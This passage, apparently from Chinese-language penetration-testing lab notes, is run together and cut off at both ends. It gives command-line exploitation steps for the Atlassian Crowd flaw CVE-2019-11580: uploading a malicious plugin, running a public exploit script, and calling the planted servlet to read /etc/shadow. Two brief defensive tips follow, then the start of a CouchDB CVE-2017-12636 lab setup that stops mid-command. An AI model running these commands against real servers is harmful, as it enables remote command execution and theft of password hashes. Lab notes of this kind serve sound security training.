com/jas502n/CVE-2019-11580 curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v git clone https://github.com/jas502n/CVE-2019-11580 cd CVE-2019-11580/ CVE-2019-11580/ python CVE-2019-11580.py http://192.168.18.138:8095 curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow 防御手段 -设置访问/crowd/admin/uploadplugin.action的源ip。 -升级最新版本(3 129 连接工具：Xshell mkdir couchdb wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017- 12636/docker-compose.yml 未授权访问测试 任意命令执行 本机python运行http服务 docker-compose up -d curl